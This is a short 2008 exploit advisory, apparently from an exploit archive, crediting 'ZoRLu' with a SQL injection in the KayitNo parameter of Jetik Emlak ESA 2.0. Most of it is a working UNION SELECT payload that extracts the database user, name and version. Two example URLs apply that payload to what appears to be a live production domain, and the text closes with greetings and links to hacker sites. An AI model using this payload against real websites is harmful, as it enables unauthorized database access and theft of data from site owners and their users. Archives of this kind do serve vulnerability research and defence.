[~] Jetik Emlak ESA 2.0 System Script [~] [~] (KayitNo) multiple remote sql inj [~] [~] ---------------------------------------------------------- [~] Discovered By: ZoRLu [~] [~] Date: 24.09.2008 [~] [~] contact: trt-turk@hotmail.com [~] [~] contact: zorlu@w.cn [~] [~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( ( [~] [~] ----------------------------------------------------------- Exploit: http://localhost/script_path/diger.php?KayitNo=[SQL] http://localhost/script_path/sayfalar.php?KayitNo=[SQL] [SQL]= -99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/* Example: http://www.jetik.net/esa/diger.php?KayitNo=-99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/* Example 2: http://www.jetik.net/esa/sayfalar.php?KayitNo=-99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/* [~]---------------------------------------------------------------------- [~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs [~] [~] http://www.z0rlu.blogspot.com online : ) [~] [~] home: yildirimordulari.org & r00tsecurity.org & darkc0de.com [~] [~]----------------------------------------------------------------------